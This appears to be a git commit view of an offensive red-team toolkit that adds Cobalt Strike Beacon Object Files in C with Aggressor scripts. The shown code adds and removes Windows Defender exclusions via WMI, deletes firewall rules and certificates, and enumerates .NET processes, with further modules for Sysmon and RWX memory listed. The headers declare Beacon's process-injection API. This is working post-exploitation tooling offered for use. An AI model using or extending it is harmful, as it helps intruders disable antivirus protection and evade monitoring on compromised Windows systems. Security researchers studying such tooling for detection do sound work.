RTO пре 2 година
родитељ
комит
75c6c241e6
70 измењених фајлова са 4609 додато и 19 уклоњено
  1. 2 2
      KIT/AddExclusion/README.md
  2. 0 5
      KIT/AddExclusion/addexclusion.c
  3. 1 1
      KIT/AddExclusion/addexclusion.cna
  4. BIN
      KIT/AddExclusion/addexclusion.o
  5. 26 0
      KIT/DelExclusion/README.md
  6. 69 0
      KIT/DelExclusion/beacon.h
  7. 5 0
      KIT/DelExclusion/bofcompile.bat
  8. 148 0
      KIT/DelExclusion/delexclusion.c
  9. 116 0
      KIT/DelExclusion/delexclusion.cna
  10. 19 0
      KIT/DelExclusion/delexclusion.h
  11. BIN
      KIT/DelExclusion/delexclusion.o
  12. 11 0
      KIT/EnumDotnet/README.md
  13. 69 0
      KIT/EnumDotnet/beacon.h
  14. 4 0
      KIT/EnumDotnet/bofcompile.bat
  15. 163 0
      KIT/EnumDotnet/enumdotnet.c
  16. 22 0
      KIT/EnumDotnet/enumdotnet.cna
  17. 29 0
      KIT/EnumDotnet/enumdotnet.h
  18. BIN
      KIT/EnumDotnet/enumdotnet.o
  19. 15 0
      KIT/EnumExclusions/README.md
  20. 69 0
      KIT/EnumExclusions/beacon.h
  21. 5 0
      KIT/EnumExclusions/bofcompile.bat
  22. 223 0
      KIT/EnumExclusions/enumexclusions.c
  23. 26 0
      KIT/EnumExclusions/enumexclusions.cna
  24. 27 0
      KIT/EnumExclusions/enumexclusions.h
  25. BIN
      KIT/EnumExclusions/enumexclusions.o
  26. 23 0
      KIT/EnumFiles/README.md
  27. 69 0
      KIT/EnumFiles/beacon.h
  28. 5 0
      KIT/EnumFiles/bofcompile.bat
  29. 278 0
      KIT/EnumFiles/enumfiles.c
  30. 39 0
      KIT/EnumFiles/enumfiles.cna
  31. 38 0
      KIT/EnumFiles/enumfiles.h
  32. BIN
      KIT/EnumFiles/enumfiles.o
  33. 26 0
      KIT/EnumHandles/README.md
  34. 69 0
      KIT/EnumHandles/beacon.h
  35. 5 0
      KIT/EnumHandles/bofcompile.bat
  36. 255 0
      KIT/EnumHandles/enumhandles.c
  37. 62 0
      KIT/EnumHandles/enumhandles.cna
  38. 103 0
      KIT/EnumHandles/enumhandles.h
  39. BIN
      KIT/EnumHandles/enumhandles.o
  40. 16 0
      KIT/EnumLib/README.md
  41. 69 0
      KIT/EnumLib/beacon.h
  42. 5 0
      KIT/EnumLib/bofcompile.bat
  43. 197 0
      KIT/EnumLib/enumlib.c
  44. 53 0
      KIT/EnumLib/enumlib.cna
  45. 30 0
      KIT/EnumLib/enumlib.h
  46. BIN
      KIT/EnumLib/enumlib.o
  47. 14 0
      KIT/EnumRWX/README.md
  48. 69 0
      KIT/EnumRWX/beacon.h
  49. 4 0
      KIT/EnumRWX/bofcompile.bat
  50. 137 0
      KIT/EnumRWX/enumrwx.c
  51. 30 0
      KIT/EnumRWX/enumrwx.cna
  52. 16 0
      KIT/EnumRWX/enumrwx.h
  53. BIN
      KIT/EnumRWX/enumrwx.o
  54. 15 0
      KIT/EnumSysmon/README.md
  55. 69 0
      KIT/EnumSysmon/beacon.h
  56. 5 0
      KIT/EnumSysmon/bofcompile.bat
  57. 332 0
      KIT/EnumSysmon/enumsysmon.c
  58. 32 0
      KIT/EnumSysmon/enumsysmon.cna
  59. 60 0
      KIT/EnumSysmon/enumsysmon.h
  60. BIN
      KIT/EnumSysmon/enumsysmon.o
  61. 27 0
      KIT/EnumWebClient/README.md
  62. 69 0
      KIT/EnumWebClient/beacon.h
  63. 6 0
      KIT/EnumWebClient/bofcompile.bat
  64. 134 0
      KIT/EnumWebClient/enumwebclient.c
  65. 38 0
      KIT/EnumWebClient/enumwebclient.cna
  66. 25 0
      KIT/EnumWebClient/enumwebclient.h
  67. BIN
      KIT/EnumWebClient/enumwebclient.o
  68. 1112 0
      OperatorsKit.cna
  69. 14 11
      README.md
  70. 10 0
      compile-all.bat

+ 2 - 2
KIT/AddExclusion/README.md

@@ -15,8 +15,8 @@ Add a new exclusion to Windows Defender for a folder, file, process or extension
 
 ## Example
 * `addexclusion path C:\Users\Public\Downloads`
-* `addexclusion process example.exe`
-* `addexclusion extension .xll`
+* `addexclusion process C:\Windows\System32\example.exe`
+* `addexclusion extension *.xll`
 
 
 ## Compile

+ 0 - 5
KIT/AddExclusion/addexclusion.c

@@ -114,7 +114,6 @@ Cleanup:
 }
 
 
-
 int go(char *args, int len) {
     int result = 0; 
 	CHAR* exclType = ""; //path | process | extension
@@ -124,11 +123,7 @@ int go(char *args, int len) {
     BeaconDataParse(&parser, args, len);
 	exclType = BeaconDataExtract(&parser, NULL);
     exclData = BeaconDataExtract(&parser, NULL);
-	
-	BeaconPrintf(CALLBACK_OUTPUT, "exclType: %s\n", exclType);  //DEBUG
-	BeaconPrintf(CALLBACK_OUTPUT, "exclData: %ls\n", exclData);  //DEBUG
 
-	
 	if(MSVCRT$strcmp(exclType, "path") == 0) result = AddDefenderExclusion(exclData, EXCLUSION_TYPE_PATH);
     else if(MSVCRT$strcmp(exclType, "process") == 0) result = AddDefenderExclusion(exclData, EXCLUSION_TYPE_PROCESS);
 	else if(MSVCRT$strcmp(exclType, "extension") == 0) result = AddDefenderExclusion(exclData, EXCLUSION_TYPE_EXTENSION);

+ 1 - 1
KIT/AddExclusion/addexclusion.cna

@@ -5,7 +5,7 @@ beacon_command_register(
 	"INFO:\nAdd a new exclusion to Windows Defender for a folder, file, process or extension.\n\n" .
 	"ARGUMENTS:\n[<exclusion type>]: specify one of the following exclusion types: path (file/folder), process, extension.\n[<exclusion data>]: specify the data to add as an exclusion.\n\n" .
 	"USAGE:\naddexclusion <exclusion type> <exclusion data>\n\n" .
-	"EXAMPLES:\naddexclusion path C:\\Users\\Public\\Downloads\naddexclusion process example.exe\naddexclusion extension .xll\n\n");
+	"EXAMPLES:\naddexclusion path C:\\Users\\Public\\Downloads\naddexclusion process C:\\Windows\\System32\\example.exe\naddexclusion extension *.xll\n\n");
 	
 alias addexclusion {
     $bid = $1;

BIN
KIT/AddExclusion/addexclusion.o


+ 26 - 0
KIT/DelExclusion/README.md

@@ -0,0 +1,26 @@
+# DelExclusion
+Delete an exclusion from Windows Defender for a folder, file, process or extension.
+
+>This operation requires elevated privileges. Furthermore, currently only Windows Defender exclusions are supported. Also, if you don't specify the full path to a folder, file or process, most likely the operation will return with the error message WBEM_E_NOT_FOUND. In general this condition effects deleting exclusions of type extension. 
+
+
+## Arguments
+* `<exclusion type>`: specify one of the following exclusion types you want to delete: `path` (file/folder), `process`, `extension`.
+* `<exclusion data>`: specify the exclusion data/name that you want to delete.
+
+
+## Usage
+* `delexclusion <exclusion type> <exclusion data>`
+
+
+## Example
+* `delexclusion path C:\Users\Public\Downloads`
+* `delexclusion process C:\Windows\System32\example.exe`
+* `delexclusion extension *.xll`
+
+
+## Compile
+- 1\. Make sure Visual Studio is installed and supports C/C++.
+- 2\. Open the `x64 Native Tools Command Prompt for VS <2019/2022>` terminal.
+- 3\. Run the `bofcompile.bat` script to compile the object file. 
+- 4\. In Cobalt strike, use the script manager to load the .cna script to import the tool. 

+ 69 - 0
KIT/DelExclusion/beacon.h

@@ -0,0 +1,69 @@
+/*
+ * Beacon Object Files (BOF)
+ * -------------------------
+ * A Beacon Object File is a light-weight post exploitation tool that runs
+ * with Beacon's inline-execute command.
+ *
+ * Additional BOF resources are available here:
+ *   - https://github.com/Cobalt-Strike/bof_template
+ *
+ * Cobalt Strike 4.x
+ * ChangeLog:
+ *    1/25/2022: updated for 4.5
+ */
+
+/* data API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} datap;
+
+DECLSPEC_IMPORT void    BeaconDataParse(datap * parser, char * buffer, int size);
+DECLSPEC_IMPORT char *  BeaconDataPtr(datap * parser, int size);
+DECLSPEC_IMPORT int     BeaconDataInt(datap * parser);
+DECLSPEC_IMPORT short   BeaconDataShort(datap * parser);
+DECLSPEC_IMPORT int     BeaconDataLength(datap * parser);
+DECLSPEC_IMPORT char *  BeaconDataExtract(datap * parser, int * size);
+
+/* format API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} formatp;
+
+DECLSPEC_IMPORT void    BeaconFormatAlloc(formatp * format, int maxsz);
+DECLSPEC_IMPORT void    BeaconFormatReset(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatAppend(formatp * format, char * text, int len);
+DECLSPEC_IMPORT void    BeaconFormatPrintf(formatp * format, char * fmt, ...);
+DECLSPEC_IMPORT char *  BeaconFormatToString(formatp * format, int * size);
+DECLSPEC_IMPORT void    BeaconFormatFree(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatInt(formatp * format, int value);
+
+/* Output Functions */
+#define CALLBACK_OUTPUT      0x0
+#define CALLBACK_OUTPUT_OEM  0x1e
+#define CALLBACK_OUTPUT_UTF8 0x20
+#define CALLBACK_ERROR       0x0d
+
+DECLSPEC_IMPORT void   BeaconOutput(int type, char * data, int len);
+DECLSPEC_IMPORT void   BeaconPrintf(int type, char * fmt, ...);
+
+
+/* Token Functions */
+DECLSPEC_IMPORT BOOL   BeaconUseToken(HANDLE token);
+DECLSPEC_IMPORT void   BeaconRevertToken();
+DECLSPEC_IMPORT BOOL   BeaconIsAdmin();
+
+/* Spawn+Inject Functions */
+DECLSPEC_IMPORT void   BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
+DECLSPEC_IMPORT void   BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT void   BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT BOOL   BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
+DECLSPEC_IMPORT void   BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
+
+/* Utility Functions */
+DECLSPEC_IMPORT BOOL   toWideChar(char * src, wchar_t * dst, int max);

+ 5 - 0
KIT/DelExclusion/bofcompile.bat

@@ -0,0 +1,5 @@
+@ECHO OFF
+
+cl.exe /nologo /c /Od /MT /W0 /GS- /Tc delexclusion.c
+move /y delexclusion.obj delexclusion.o
+

+ 148 - 0
KIT/DelExclusion/delexclusion.c

@@ -0,0 +1,148 @@
+#include <stdio.h>
+#include <Windows.h>
+#include <wbemidl.h>
+#include "delexclusion.h"
+#include "beacon.h"
+
+#pragma comment(lib, "wbemuuid.lib")
+#pragma comment(lib, "ole32.lib")
+#pragma comment(lib, "oleaut32.lib")
+
+typedef enum {
+    EXCLUSION_TYPE_PATH,
+    EXCLUSION_TYPE_PROCESS,
+    EXCLUSION_TYPE_EXTENSION
+} EXCLUSION_TYPE;
+
+INT RemoveDefenderExclusion(const WCHAR* exclData, EXCLUSION_TYPE type) {
+    HRESULT hr;
+    IWbemLocator* pLoc = NULL;
+    IWbemServices* pSvc = NULL;
+    IWbemClassObject* pClass = NULL;
+    IWbemClassObject* pInSignature = NULL;
+    IWbemClassObject* pClassInstance = NULL;
+    SAFEARRAY* psaStrings = NULL;
+    BSTR Clname = NULL;
+    BSTR MethodName = NULL;
+	int result = 0;
+
+    hr = OLE32$CoInitializeEx(0, COINIT_MULTITHREADED);
+    if (FAILED(hr)) goto Cleanup;
+
+    hr = OLE32$CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE, NULL);
+    if (FAILED(hr)) goto Cleanup;
+
+	IID CLSIDWbemLocator = {0x4590f811, 0x1d3a, 0x11d0, {0x89, 0x1f, 0x00, 0xaa, 0x00, 0x4b, 0x2e, 0x24}};
+    IID IIDIWbemLocator = {0xdc12a687, 0x737f, 0x11cf, {0x88, 0x4d, 0x00, 0xaa, 0x00, 0x4b, 0x2e, 0x24}};
+    hr = OLE32$CoCreateInstance(&CLSIDWbemLocator, 0, CLSCTX_INPROC_SERVER, &IIDIWbemLocator, (LPVOID*)&pLoc);
+    if (FAILED(hr)) goto Cleanup;
+
+    Clname = OLEAUT32$SysAllocString(L"ROOT\\Microsoft\\Windows\\Defender");
+    hr = pLoc->lpVtbl->ConnectServer(pLoc, Clname, NULL, NULL, 0, NULL, 0, 0, &pSvc);
+    OLEAUT32$SysFreeString(Clname);
+    if (FAILED(hr)) goto Cleanup;
+	
+    hr = OLE32$CoSetProxyBlanket(pSvc, RPC_C_AUTHN_WINNT, RPC_C_AUTHZ_NONE, NULL, RPC_C_AUTHN_LEVEL_CALL, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE);
+    if (FAILED(hr)) goto Cleanup;
+
+    Clname = OLEAUT32$SysAllocString(L"MSFT_MpPreference");
+    MethodName = OLEAUT32$SysAllocString(L"Remove");
+    hr = pSvc->lpVtbl->GetObject(pSvc, Clname, 0, NULL, &pClass, NULL);
+    hr = pClass->lpVtbl->GetMethod(pClass, MethodName, 0, &pInSignature, NULL);
+
+    OLEAUT32$SysFreeString(MethodName);
+    if (FAILED(hr)) goto Cleanup;
+
+    hr = pInSignature->lpVtbl->SpawnInstance(pInSignature, 0, &pClassInstance);
+    if (FAILED(hr)) goto Cleanup;
+
+    SAFEARRAYBOUND rgsaBounds[1];
+    rgsaBounds[0].cElements = 1;
+    rgsaBounds[0].lLbound = 0;
+    psaStrings = OLEAUT32$SafeArrayCreate(VT_BSTR, 1, rgsaBounds);
+
+    VARIANT vString;
+    OLEAUT32$VariantInit(&vString);
+    V_VT(&vString) = VT_BSTR;
+    V_BSTR(&vString) = OLEAUT32$SysAllocString(exclData);
+    LONG lArrayIndex = 0;
+    OLEAUT32$SafeArrayPutElement(psaStrings, &lArrayIndex, V_BSTR(&vString));
+    OLEAUT32$SysFreeString(V_BSTR(&vString));
+
+    VARIANT vStringList;
+    OLEAUT32$VariantInit(&vStringList);
+    V_VT(&vStringList) = VT_ARRAY | VT_BSTR;
+    V_ARRAY(&vStringList) = psaStrings;
+
+    WCHAR* propertyName;
+    switch (type) {
+        case EXCLUSION_TYPE_PATH:
+            propertyName = L"ExclusionPath";
+            break;
+        case EXCLUSION_TYPE_PROCESS:
+            propertyName = L"ExclusionProcess";
+            break;
+        case EXCLUSION_TYPE_EXTENSION:
+            propertyName = L"ExclusionExtension";
+            break;
+        default:
+            hr = E_INVALIDARG;
+            goto Cleanup;
+    }
+
+    hr = pClassInstance->lpVtbl->Put(pClassInstance, propertyName, 0, &vStringList, CIM_STRING|CIM_FLAG_ARRAY);
+    if (FAILED(hr)) goto Cleanup;
+
+	hr = pSvc->lpVtbl->ExecMethod(pSvc, Clname, MethodName, 0, NULL, pClassInstance, NULL, NULL);
+	if (FAILED(hr)) {
+		if (hr == 0x8004102e) {
+			BeaconPrintf(CALLBACK_ERROR, "Failed to remove the exclusion (WBEM_E_NOT_FOUND). The specified data/name was not recognized or doens't exist.\n");
+		} else if (hr == 0x80041001) {
+			BeaconPrintf(CALLBACK_ERROR, "Failed to remove the exclusion (WBEM_E_FAILED). Do you have sufficient permissions?\n");
+		} else {
+			BeaconPrintf(CALLBACK_ERROR, "Failed to remove the exclusion with error code: 0x%08lx\n", hr);
+		}
+		result = 2;
+		goto Cleanup;
+	}
+	
+	result = 1;
+
+Cleanup:
+	if (psaStrings) OLEAUT32$SafeArrayDestroy(psaStrings);
+	if (Clname) OLEAUT32$SysFreeString(Clname);
+	if (pLoc) pLoc->lpVtbl->Release(pLoc);
+	if (pSvc) pSvc->lpVtbl->Release(pSvc);
+	if (pClass) pClass->lpVtbl->Release(pClass);
+	if (pInSignature) pInSignature->lpVtbl->Release(pInSignature);
+	if (pClassInstance) pClassInstance->lpVtbl->Release(pClassInstance);
+	OLE32$CoUninitialize();
+
+	return result;
+}
+
+
+int go(char *args, int len) {
+    int result = 0; 
+    CHAR* exclType = ""; //path | process | extension
+    WCHAR* exclData = L""; 
+    datap parser;
+    
+    BeaconDataParse(&parser, args, len);
+    exclType = BeaconDataExtract(&parser, NULL);
+    exclData = BeaconDataExtract(&parser, NULL);
+
+    if(MSVCRT$strcmp(exclType, "path") == 0) result = RemoveDefenderExclusion(exclData, EXCLUSION_TYPE_PATH);
+    else if(MSVCRT$strcmp(exclType, "process") == 0) result = RemoveDefenderExclusion(exclData, EXCLUSION_TYPE_PROCESS);
+    else if(MSVCRT$strcmp(exclType, "extension") == 0) result = RemoveDefenderExclusion(exclData, EXCLUSION_TYPE_EXTENSION);
+    else {
+        BeaconPrintf(CALLBACK_ERROR, "Please specify one of the following exclusion types: path (folder/file), process, extension.\n");
+        return 0;
+    }
+    
+    if(result == 1) BeaconPrintf(CALLBACK_OUTPUT, "[+] The following exclusion was successfully removed: %ls\n", exclData); 
+    else if (result == 2); //output handeling specified in RemoveDefenderExclusion
+    else BeaconPrintf(CALLBACK_ERROR, "Failed to remove exclusion. COM error occurred!\n"); 
+
+    return 0;
+}

+ 116 - 0
KIT/DelExclusion/delexclusion.cna

@@ -0,0 +1,116 @@
+# author REDMED-X
+
+beacon_command_register(
+	"delexclusion", "Delete an exclusion from Windows Defender for a folder, file, process or extension.",
+	"INFO:\nDelete an exclusion from Windows Defender for a folder, file, process or extension. \n\n" .
+	"ARGUMENTS:\n[<exclusion type>]: specify one of the following exclusion types you want to delete: path (file/folder), process, extension.\n[<exclusion name>]: specify the exclusion data/name that you want to delete.\n\n" .
+	"USAGE:\ndelexclusion <exclusion type> <exclusion data>\n\n" .
+	"EXAMPLES:\ndelexclusion path C:\\Users\\Public\\Downloads\ndelexclusion process C:\\Windows\\System32\\example.exe\n\n");
+	
+alias delexclusion {
+    $bid = $1;
+    $excltype = $2;
+    $excldata = $3;
+
+    if ($excltype eq "") {
+        berror($bid, "Please specify one of the following extension types: path | process | extension.\n");
+        return;
+    }
+
+    if ($excltype eq "path" || $excltype eq "process" || $excltype eq "extension") {
+        if ($excldata eq "") {
+            berror($bid, "Please specify the exclusion data/name that you want to delete.\n");
+            return;
+        }
+    }
+    else {
+        berror($bid, "This exclusion type isn't supported. Please specify one of the following options: path | process | extension.\n");
+        return;
+    }
+	
+    # Read in the right BOF file
+    $handle = openf(script_resource("delexclusion.o"));
+    $data   = readb($handle, -1);
+    closef($handle);
+
+    # Pack our arguments
+    $arg_data  = bof_pack($bid, "zZ", $excltype, $excldata);
+
+    blog($bid, "Tasked to add a new exclusion..");
+    beacon_inline_execute($bid, $data, "go", $arg_data);
+}
+
+
+beacon_command_register(
+	"delfirewallrule", "Delete a firewall rule.",
+	"INFO:\nDelete a firewall rule using COM.\n\n" .
+	"ARGUMENTS:\n[<rule name>]: the name of the firewall rule you want to delete.\n\n" .
+	"USAGE:\ndelfirewallrule \"<rule name>\"\n\n" .
+	"EXAMPLES:\ndelfirewallrule \"ExampleRuleName1\"\n\n");
+	
+alias delfirewallrule {
+    $bid = $1;
+    $name = $2;
+	
+    if ($name eq "") {
+        berror($bid, "Please specify the name of the firewall rule you want to delete.\n");
+        return;
+    }
+	
+    # Read in the right BOF file
+    $handle = openf(script_resource("DelFirewallRule/delfirewallrule.o"));
+    $data   = readb($handle, -1);
+    closef($handle);
+
+    # Pack our arguments
+    $arg_data  = bof_pack($bid, "Z", $name);
+
+    blog($bid, "Tasked to delete a new firewall rule..");
+    beacon_inline_execute($bid, $data, "go", $arg_data);
+}
+
+
+beacon_command_register(
+	"dellocalcert", "Delete a local computer certificate from a specific store.",
+	"INFO:\nDelete a local computer certificate from a specified store based on its unique thumbprint.\n\n" . 
+	"ARGUMENTS:\n[<store name>]: the name of the certificate store from which to delete the certificate.\n[<thumbprint>]: the thumbprint of the certificate that you want to delete in format (all caps): AABBCCDDEEFF00112233445566778899AABBCCDD.\n\n" .
+	"USAGE:\ndellocalcert <store name> <thumbprint>\n\n" .
+	"EXAMPLES:\ndellocalcert ROOT AABBCCDDEEFF00112233445566778899AABBCCDD\n\n");
+	
+
+alias dellocalcert {
+    $bid = $1;
+	$store = $2;
+    $thumbprint = $3;
+	
+	if ($store eq "") {
+		berror($bid, "Please specify a valid local computer certificate store name like ROOT.\n");
+		return;
+	}
+
+	if ($thumbprint eq "") {
+		berror($bid, "Please specify the thumbprint for the certificate that you want to delete from the store.\n");
+		return;
+	}
+	
+    # Read in the right BOF file
+    $handle = openf(script_resource("DelLocalCert/dellocalcert.o"));
+    $data   = readb($handle, -1);
+    closef($handle);
+
+	# Pack our arguments
+    $arg_data  = bof_pack($bid, "Zz", $store, $thumbprint);
+
+	blog($bid, "Tasked to delete a certificate..");
+    beacon_inline_execute($bid, $data, "go", $arg_data);
+}
+
+
+
+
+
+
+
+
+
+

+ 19 - 0
KIT/DelExclusion/delexclusion.h

@@ -0,0 +1,19 @@
+#include <windows.h>  
+
+//AddDefenderExclusion
+DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoInitializeEx(LPVOID pvReserved, DWORD dwCoInit);
+DECLSPEC_IMPORT void WINAPI OLE32$CoUninitialize(void);
+DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoCreateInstance (REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID *ppv);
+DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoInitializeSecurity(PSECURITY_DESCRIPTOR, LONG, SOLE_AUTHENTICATION_SERVICE*, void*, DWORD, DWORD, void*, DWORD, void*);
+DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoSetProxyBlanket(IUnknown*, DWORD, DWORD, OLECHAR*, DWORD, DWORD, RPC_AUTH_IDENTITY_HANDLE, DWORD);
+
+DECLSPEC_IMPORT HRESULT WINAPI OLEAUT32$SafeArrayDestroy(SAFEARRAY* psa);
+DECLSPEC_IMPORT SAFEARRAY* WINAPI OLEAUT32$SafeArrayCreate(VARTYPE vt, unsigned int cDims, SAFEARRAYBOUND* rgsabound);
+DECLSPEC_IMPORT HRESULT WINAPI OLEAUT32$SafeArrayPutElement(SAFEARRAY* psa, long* rgIndices, void* pv);
+
+DECLSPEC_IMPORT void WINAPI OLEAUT32$VariantInit(VARIANTARG *pvarg);
+DECLSPEC_IMPORT void WINAPI OLEAUT32$VariantClear(VARIANTARG *pvarg);
+WINBASEAPI BSTR WINAPI OLEAUT32$SysAllocString(const OLECHAR *);
+WINBASEAPI void WINAPI OLEAUT32$SysFreeString(BSTR);
+WINBASEAPI int __cdecl MSVCRT$printf(const char * _Format,...);
+WINBASEAPI int __cdecl MSVCRT$strcmp(const char *str1, const char *str2);

BIN
KIT/DelExclusion/delexclusion.o


+ 11 - 0
KIT/EnumDotnet/README.md

@@ -0,0 +1,11 @@
+# EnumDotnet
+Enumerate processes that most likely have .NET loaded by searching for the section name: `\BaseNamedObjects\Cor_Private_IPCBlock(_v4)_<ProcessId>`
+
+## Usage
+* `enumdotnet`
+
+## Compile
+- 1\. Make sure Visual Studio is installed and supports C/C++.
+- 2\. Open the `x64 Native Tools Command Prompt for VS <2019/2022>` terminal.
+- 3\. Run the `bofcompile.bat` script to compile the object file. 
+- 4\. In Cobalt strike, use the script manager to load the .cna script to import the tool. 

+ 69 - 0
KIT/EnumDotnet/beacon.h

@@ -0,0 +1,69 @@
+/*
+ * Beacon Object Files (BOF)
+ * -------------------------
+ * A Beacon Object File is a light-weight post exploitation tool that runs
+ * with Beacon's inline-execute command.
+ *
+ * Additional BOF resources are available here:
+ *   - https://github.com/Cobalt-Strike/bof_template
+ *
+ * Cobalt Strike 4.x
+ * ChangeLog:
+ *    1/25/2022: updated for 4.5
+ */
+
+/* data API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} datap;
+
+DECLSPEC_IMPORT void    BeaconDataParse(datap * parser, char * buffer, int size);
+DECLSPEC_IMPORT char *  BeaconDataPtr(datap * parser, int size);
+DECLSPEC_IMPORT int     BeaconDataInt(datap * parser);
+DECLSPEC_IMPORT short   BeaconDataShort(datap * parser);
+DECLSPEC_IMPORT int     BeaconDataLength(datap * parser);
+DECLSPEC_IMPORT char *  BeaconDataExtract(datap * parser, int * size);
+
+/* format API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} formatp;
+
+DECLSPEC_IMPORT void    BeaconFormatAlloc(formatp * format, int maxsz);
+DECLSPEC_IMPORT void    BeaconFormatReset(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatAppend(formatp * format, char * text, int len);
+DECLSPEC_IMPORT void    BeaconFormatPrintf(formatp * format, char * fmt, ...);
+DECLSPEC_IMPORT char *  BeaconFormatToString(formatp * format, int * size);
+DECLSPEC_IMPORT void    BeaconFormatFree(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatInt(formatp * format, int value);
+
+/* Output Functions */
+#define CALLBACK_OUTPUT      0x0
+#define CALLBACK_OUTPUT_OEM  0x1e
+#define CALLBACK_OUTPUT_UTF8 0x20
+#define CALLBACK_ERROR       0x0d
+
+DECLSPEC_IMPORT void   BeaconOutput(int type, char * data, int len);
+DECLSPEC_IMPORT void   BeaconPrintf(int type, char * fmt, ...);
+
+
+/* Token Functions */
+DECLSPEC_IMPORT BOOL   BeaconUseToken(HANDLE token);
+DECLSPEC_IMPORT void   BeaconRevertToken();
+DECLSPEC_IMPORT BOOL   BeaconIsAdmin();
+
+/* Spawn+Inject Functions */
+DECLSPEC_IMPORT void   BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
+DECLSPEC_IMPORT void   BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT void   BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT BOOL   BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
+DECLSPEC_IMPORT void   BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
+
+/* Utility Functions */
+DECLSPEC_IMPORT BOOL   toWideChar(char * src, wchar_t * dst, int max);

+ 4 - 0
KIT/EnumDotnet/bofcompile.bat

@@ -0,0 +1,4 @@
+@ECHO OFF
+
+cl.exe /nologo /c /Od /MT /W0 /GS- /Tc enumdotnet.c
+move /y enumdotnet.obj enumdotnet.o

+ 163 - 0
KIT/EnumDotnet/enumdotnet.c

@@ -0,0 +1,163 @@
+#include <windows.h>
+#include <stdio.h>
+#include <psapi.h>
+#include <shlwapi.h>
+#include <strsafe.h>
+#include <winternl.h>
+#include "beacon.h"
+#include "enumdotnet.h"
+
+#pragma comment(lib, "ntdll.lib")
+#pragma comment(lib, "User32.lib")
+#pragma comment(lib, "Shlwapi.lib")
+
+
+//START TrustedSec BOF print code: https://github.com/trustedsec/CS-Situational-Awareness-BOF/blob/master/src/common/base.c
+#ifndef bufsize
+#define bufsize 8192
+#endif
+char *output = 0;  
+WORD currentoutsize = 0;
+HANDLE trash = NULL; 
+int bofstart();
+void internal_printf(const char* format, ...);
+void printoutput(BOOL done);
+
+int bofstart() {   
+    output = (char*)MSVCRT$calloc(bufsize, 1);
+    currentoutsize = 0;
+    return 1;
+}
+
+void internal_printf(const char* format, ...){
+    int buffersize = 0;
+    int transfersize = 0;
+    char * curloc = NULL;
+    char* intBuffer = NULL;
+    va_list args;
+    va_start(args, format);
+    buffersize = MSVCRT$vsnprintf(NULL, 0, format, args); 
+    va_end(args);
+    
+    if (buffersize == -1) return;
+    
+    char* transferBuffer = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, bufsize);
+	intBuffer = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, buffersize);
+    va_start(args, format);
+    MSVCRT$vsnprintf(intBuffer, buffersize, format, args); 
+    va_end(args);
+    if(buffersize + currentoutsize < bufsize) 
+    {
+        MSVCRT$memcpy(output+currentoutsize, intBuffer, buffersize);
+        currentoutsize += buffersize;
+    } else {
+        curloc = intBuffer;
+        while(buffersize > 0)
+        {
+            transfersize = bufsize - currentoutsize;
+            if(buffersize < transfersize) 
+            {
+                transfersize = buffersize;
+            }
+            MSVCRT$memcpy(output+currentoutsize, curloc, transfersize);
+            currentoutsize += transfersize;
+            if(currentoutsize == bufsize)
+            {
+                printoutput(FALSE); 
+            }
+            MSVCRT$memset(transferBuffer, 0, transfersize); 
+            curloc += transfersize; 
+            buffersize -= transfersize;
+        }
+    }
+	KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, intBuffer);
+	KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, transferBuffer);
+}
+
+void printoutput(BOOL done) {
+    char * msg = NULL;
+    BeaconOutput(CALLBACK_OUTPUT, output, currentoutsize);
+    currentoutsize = 0;
+    MSVCRT$memset(output, 0, bufsize);
+    if(done) {MSVCRT$free(output); output=NULL;}
+}
+//END TrustedSec BOF print code.
+
+
+
+BOOL FindDotNet() {
+	int p = 0;
+	int pid = 0;
+	char psPath[MAX_PATH];
+	HANDLE currentProc = NULL;
+	UNICODE_STRING sectionName = { 0 };
+	WCHAR ProcNumber[30];
+	OBJECT_ATTRIBUTES objectAttributes;
+	BOOL dotNetFound = FALSE;
+	LPCSTR procName;
+	//WCHAR WCprocName[256];
+	
